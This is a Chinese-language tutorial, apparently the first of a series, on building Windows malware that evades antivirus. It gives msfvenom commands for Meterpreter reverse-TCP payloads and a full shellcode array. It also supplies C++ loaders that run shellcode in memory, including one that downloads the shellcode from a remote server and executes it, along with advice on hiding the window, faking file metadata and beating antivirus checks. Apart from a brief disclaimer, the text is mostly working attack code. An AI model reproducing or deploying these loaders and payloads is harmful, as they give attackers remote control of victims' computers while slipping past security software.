windows恶意软件开发（一）

在阅读本篇文章前，您应该已经学习过Meterpreter的基本操作方法，并且知道未经允许的情况下，侵入、控制他人计算机是违法行为，本文章仅供学习使用。

众所周知，用Msfvenom生成的木马程序会被杀毒软件报毒，所以我们可以让Msfvenom生成shellcode，然后自己利用c/c++程序调用Windows的API，从而让shellcode载入内存运行，以此来逃避杀毒软件。

我们使用virustotal来检测我们木马的危险分数，virustotal会调用许多杀毒引擎和沙箱来检测软件是否是病毒。

1	msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f exe -o msf.exe

我们先用msfvenom生成一个经典的windows木马，然后丢进virustotal里。

可以看到大部分杀毒软件都报毒。

所以我们改用Msfvenom生成shellcode，然后自己编写C/C++程序，执行shellcode，这样处理msfconsole依旧可以监听并连接程序。

生成shellcode

1	msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.24.109 LPORT=4444 -fc

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x18\x6d\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

我们先编写一个简单的C++程序

#include <windows.h>
using namespace std;

//如果想隐藏启动后的cmd窗口，可以将下面一行代码取消注释。
//#pragma comment(linker, "/subsystem:\"windows\"   /entry:\"mainCRTStartup\"")

int main(int argc, char **argv) {
    
    //msfvenom生成的shellcode
    unsigned char shellcode[] = "...";
    
    //使用VirtualAlloc函数为程序分配内存空间
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    //将shellcode复制到分配的空间中
    memcpy(exec, shellcode, sizeof shellcode);
    
    //执行写入的内存
    ((void(*)())exec)();
    
    return 0;
}

这里建议用Visual Studio编译，因为Visual Studio和Windows都是微软的产品，不会出现水土不服的现象，编译时尽量选择静态编译，避免出现目标电脑上没有依赖而运行不了的情况。

然后上传到virustotal

可以看到分数降低了一些。

这里我们先介绍一种简单的绕过静态查杀的方法，那就是远程加载shellcode。

#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>


int main(int argc, char** argv)
{
    const char buf[] = shellcode

    FILE* fw = fopen("1.bin", "wb");
    if (fw == NULL)
        return 0;

    /* 写入 */
    for (int i = 0; i < strlen(buf); i++)
        fwrite(buf + i, sizeof(char), 1, fw);


    fclose(fw);

    return 0;
}

我们先编写一个简单的c++程序，将我们的shellcode以二进制写入文件1.bin中，然后放到服务器上，之后再利用恶意程序下载它，并分配内存执行，这样我们就实现了shellcode和恶意程序分离，下面是恶意程序的代码。为了避免检测，我们尽量调用底层API去执行程序。

#include <windows.h>
#include <string>
#include <stdio.h>

using std::string;

#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker, "/subsystem:\"windows\"   /entry:\"mainCRTStartup\"")

HINSTANCE hInst;
WSADATA wsaData;

void mParseUrl(char* mUrl, string& serverName, string& filepath, string& filename);
SOCKET connectToServer(char* szServerName, WORD portNum);
int getHeaderLength(char* content);
char* readUrl2(char* szUrl, long& bytesReturnedOut, char** headerOut);

int main() {
    const int bufLen = 1024;
    
    //这里填服务器ip或域名，用来加载shellcode
    char url[] = "http://ip/1.bin";
    char* szUrl = url;
    long fileSize;
    char* memBuffer, * headerBuffer;
    FILE* fp;
    memBuffer = headerBuffer = NULL;

    if (WSAStartup(0x101, &wsaData) != 0) {
        return -1;
    }

    memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
    /*
    if (fileSize != 0)
    {
        fp = fopen("down.file", "wb");
        fwrite(memBuffer, 1, fileSize, fp);
        fclose(fp);
        delete(headerBuffer);
    }
    */
    delete(headerBuffer);
    int code_length = strlen(memBuffer);

    void* exec = VirtualAlloc(0, code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, memBuffer, code_length);
    ((void(*)())exec)();

    WSACleanup();
    return 0;
}

void mParseUrl(char* mUrl, string& serverName, string& filepath, string& filename)
{
    string url = mUrl;
    string::size_type idx;
    string::size_type last_slash_idx = url.find_last_of('/');
    string::size_type last_dot_idx = url.find_last_of('.');
    if (last_dot_idx != string::npos && last_dot_idx > last_slash_idx) {
        filename = url.substr(last_slash_idx + 1);
        filepath = url.substr(0, last_slash_idx + 1) + filename;
    }
    else {
        filename = "";
        filepath = url;
    }
    string::size_type i = 0;
    if (url.substr(0, 7) == "http://") {
        i = 7;
    }
    else if (url.substr(0, 8) == "https://") {
        i = 8;
    }
    idx = url.find('/', i);
    if (idx == string::npos) {
        serverName = url.substr(i);
    }
    else {
        serverName = url.substr(i, idx - i);
    }
}

SOCKET connectToServer(char* szServerName, WORD portNum)
{
    WSADATA wsaData;
    SOCKET mySocket;
    SOCKADDR_IN target;

    WSAStartup(0x202, &wsaData);
    mySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    target.sin_family = AF_INET;
    target.sin_port = htons(portNum);
    target.sin_addr.s_addr = inet_addr(szServerName);

    if (target.sin_addr.s_addr == INADDR_NONE)
    {
        HOSTENT* host = gethostbyname(szServerName);
        if (host == NULL)
        {
            return NULL;
        }
        CopyMemory(&target.sin_addr, host->h_addr_list[0], host->h_length);
    }

    if (connect(mySocket, (SOCKADDR*)&target, sizeof(target)) == SOCKET_ERROR)
    {
        closesocket(mySocket);
        return NULL;
    }

    return mySocket;
}

int getHeaderLength(char* content)
{
    const char* srchStr1 = "\r\n\r\n", * srchStr2 = "\n\r\n\r";
    char* findPos;
    int ofset = -1;

    findPos = strstr(content, srchStr1);
    if (findPos != NULL)
    {
        ofset = findPos - content;
        ofset += strlen(srchStr1);
    }
    else
    {
        findPos = strstr(content, srchStr2);
        if (findPos != NULL)
        {
            ofset = findPos - content;
            ofset += strlen(srchStr2);
        }
    }

    return ofset;
}

char* readUrl2(char* szUrl, long& bytesReturnedOut, char** headerOut)
{
    const int bufSize = 512;
    char readBuffer[bufSize], sendBuffer[bufSize], tmpBuffer[bufSize];
    char* tmpResult = NULL, * result;
    SOCKET conn;
    string server, filepath, filename;
    long totalBytesRead, thisReadSize, headerLen;

    // Step 1: Parse the URL to get server name, file path, and file name
    mParseUrl(szUrl, server, filepath, filename);

    // Step 2: Connect to the server
    conn = connectToServer((char*)server.c_str(), 80);

    // Step 3: Send the GET request
    sprintf(tmpBuffer, "GET %s HTTP/1.0", filepath.c_str());
    strcpy(sendBuffer, tmpBuffer);
    strcat(sendBuffer, "\r\n");
    sprintf(tmpBuffer, "Host: %s", server.c_str());
    strcat(sendBuffer, tmpBuffer);
    strcat(sendBuffer, "\r\n");
    strcat(sendBuffer, "\r\n");
    printf(sendBuffer);
    send(conn, sendBuffer, strlen(sendBuffer), 0);

    // Step 4: Receive the response
    totalBytesRead = 0;
    while ((thisReadSize = recv(conn, readBuffer, bufSize, 0)) > 0) {
        tmpResult = (char*)realloc(tmpResult, totalBytesRead + thisReadSize);
        memcpy(tmpResult + totalBytesRead, readBuffer, thisReadSize);
        totalBytesRead += thisReadSize;
    }

    // Step 5: Extract the header and content from the response
    headerLen = getHeaderLength(tmpResult);
    long contenLen = totalBytesRead - headerLen;
    result = new char[contenLen + 1];
    memcpy(result, tmpResult + headerLen, contenLen);
    result[contenLen] = 0x0;

    char* myTmp = new char[headerLen + 1];
    strncpy(myTmp, tmpResult, headerLen);
    myTmp[headerLen] = '\0';
    delete[] tmpResult;

    *headerOut = myTmp;
    bytesReturnedOut = contenLen;

    // Step 6: Clean up and return the result
    closesocket(conn);
    return result;
}

还有我们用Visual Studio添加资源文件，这样就可以更改程序的元信息，起到伪装的效果，还能再降低一点程序的恶意分数

然后我们再看看分数

这里其实就可以绕过一部分杀软了，经过作者的测试，练习电脑管家和火绒都没有报毒。

下一篇文章我们继续深入WINDOWS底层，进一步优化我们的恶意程序

∧